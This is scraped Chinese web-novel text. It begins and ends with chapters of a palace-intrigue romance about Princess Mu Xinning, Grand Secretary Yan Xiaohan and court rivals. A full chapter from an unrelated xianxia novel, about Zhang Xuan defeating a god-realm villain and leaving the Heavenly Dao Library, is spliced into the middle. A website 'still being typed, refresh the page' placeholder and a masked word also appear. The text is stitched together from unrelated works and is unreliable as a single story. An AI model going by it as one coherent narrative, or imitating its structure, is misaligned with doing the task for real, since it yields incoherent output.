“下次要是真心向本宫示好,别搞那些个虚的,直接爬本宫的床就可……” 她心里骂了句脏话,不等晏骁寒发怒,转身便拂袖而去。 即墨头都要埋到地砖里头去了,天啊,他看见了什么,这还让不让人活? 青天白日,当朝首辅被恶贯满盈的长公主报复性的轻薄,本以为晏骁寒定会发怒,将长公主碎尸万段。 当然,晏骁寒也确实发怒了,却不是对慕馨宁。 “吴萸在哪?” 即墨一个哆嗦,完了完了,他还是准备一口棺材,等着给吴萸收尸吧。 此时的吴萸,正叼着一颗茅草懒散的在路边踱步。 好不容易看见慕馨宁的人影,他瞬间站直身子,整理了一下衣襟,又将茅草丢在地上,然后一脸正色的上前拱手: “长公主,下官是礼部主事,今年的新科榜眼吴萸,负责接待北赫等国使臣的一切琐事,您若是有什么交代,可以直接吩咐下官。” 慕馨宁看了他一眼,轻哼一声:“本宫就只配支使一个八品主事?礼部侍郎呢,礼部尚书呢,都在躲清闲?” 她越说越气:“本宫要办的事情多了,你一个礼部主事,能办的好?” 吴萸偷偷看了慕馨宁好几眼,这人怎么跟吃了火炭似的,说话这么呛人,听说最近长公主的脾气不是已经好了许多了? 他组织了一下语言,本来应付的话都到嘴边了,不经意就看见了不远处的晏骁寒。 他眼中带笑,忽然靠近慕馨宁,压低了声音:“长公主是在晏首辅那里受了气吧,您要是想……” 慕馨宁皱眉:“什么委屈?” 再说了,就算受了委屈,她能跟一个外人说? 她跟这个吴萸很熟吗? 这人都要贴到她身上来了,还有这副谄媚的样子,半点也没有读书人的风骨。 吴萸原本说的慷慨激昂,口水都要喷出来了,可是看见慕馨宁眼里的嫌弃,顿时犹如被泼了一盆凉水。 他挠了挠耳朵,有些不可置信:“长公主不是惦记着晏首辅吗,下官跟晏首辅可是至交好友。” 所以,别跟我摆一张臭脸,快点拉拢我,有我的帮忙,你肯定会尽快把人拿下的。 毕竟……呵呵…… 吴萸一想到之前晏骁寒一脸认真又郑重的向他讨教问题,心里的成就感都要溢出来了。 慕馨宁翻了个白眼:“脑子不好就去治。” 她和晏骁寒不可能再和平共处了,这货跟晏骁寒可是穿一条裤子,能帮她什么忙,找她麻烦倒是有可能。 慕馨宁直接将吴萸甩到身后,吴萸看着慕馨宁消失在远处的人影,一脸懵。 这长公主不会真的不喜欢晏骁寒吧? “啊……松手……快松手……” 慕馨宁刚拐过一道宫墙,身后忽然传来吴萸的惨叫声。 杜若有些担忧:“主子,他不会遇见刺客了吧?” 鸦羽:“你看哪个遇刺的人能让刺客松手?” 杜若:“……” 刚出宫门,慕馨宁就看见一辆马车,那马车有些熟悉。 很快,马车里下来一道人影,直到人走近了,慕馨宁才认出来是崔惜颜。 这才多久不见,崔惜颜变化更大了,人瘦的不成样子,周身都散发的阴郁之气更甚。 “长公主。”她朝着慕馨宁行礼。 慕馨宁问:“你在这里做什么?” 看她也不是想要进宫的样子,好像是在等人。 崔惜颜:“我在等承安,他是不是在宫里?” 慕馨宁点头:“那你等着吧。” 她跟崔惜颜可没什么话说,况且,因为元青和元景指认信武侯夫人暗害她的事情,信武侯府又受了打击,崔惜颜可不会一直隐忍不发,没准已经想好了算计她的法子。 她刚要走,崔惜颜又上前一步:“表姐,我有件事想要请你帮忙……” 慕馨宁有些诧异,找她帮忙,崔惜颜可真能开的了这个口。 杜若看了一眼慕馨宁的神色:“我们主子最近正在忙着接待各国使臣的事情,怕是帮不上崔小姐什么忙,您还是另请高明吧。” 杜若打心眼里瞧不上崔惜颜,这国公府都退婚了,崔惜颜也不知道避嫌,还如此大张旗鼓的到宫门口等人。 若是霍承安能娶她还好,若是不能娶她过门,崔惜颜的名声估计会更臭,将来还有哪个大户人家愿意娶她? 崔惜颜没说话,只目光阴森盯着杜若。 一个贱婢竟然如此狂妄,看来是嫌自己命太长了,她轻易动不了慕馨宁,还不能收拾这个贱婢? 杜若被瞪的浑身发寒,她挪着步子到鸦羽身后:“你这么看我干什么,难道还想吃了我?” 崔惜颜咬牙,刚要开口,慕馨宁神色淡淡的道:“本宫确实很忙,不如你去找找宋菀菀,毕竟你们是最好的姐妹了。” 一提起宋菀菀,崔惜颜更是怨恨,那个贱人用得着她的时候,对她一阵巴结讨好,等她需要帮助的时候不是躲的远远的,就是说一些冠冕堂皇的话。 什么东西,不过就是一个上不台面的野种而已! 慕馨宁已经上了马车,可是崔惜颜还是跟上来纠缠:“长公主,好歹我们以前姐妹一场,你就帮我这一次,事成之后,我一定重谢。” 慕馨宁挑开车帘,居高临下的看着她:“先说说,你想让本宫做什么?” 崔惜颜捏了捏手里的帕子:“那你这是答应我了?” 第94章 救救他 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第95章 急中生智 慕馨宁一脸担忧的上前:“宋菀菀派人来给臣妹传话,说太后病重。原本臣妹很是担忧,但是又觉得不大可能,这都这么晚了,臣妹怕事情没那么简单。” 永平帝脸色依旧不好,就算宋菀菀要算计慕馨宁,跟他有什么关系,他倒是愿意看看热闹,但是把他牵扯进来,慕馨宁真是好大的胆子。 慕馨宁看着永平帝阴沉的脸色,眼睛转了转:“臣妹保证,送走各国使臣之后,臣妹能一个月给皇兄两万两零花钱,这钱您可以自己留着。” 永平帝一脸怀疑:“真的?” 一个月两万,一年可就是二十四万两,这可不是一个小数目了。 慕馨宁点头:“皇兄若是不信,咱们可以立个字据。” 永平帝整理了一下衣领,抬腿迈进了景阳宫的门槛,边走边对身后的下人道:“母后病重,快去请太医!” 此时,太后寝殿里香烟袅袅,带着几分腻人的甜香。 太后看着被捆绑着拼命挣扎的霖州,一把握住他的手感叹道:“果然是个有才华的,曲**得好,这双手也十分好看。” 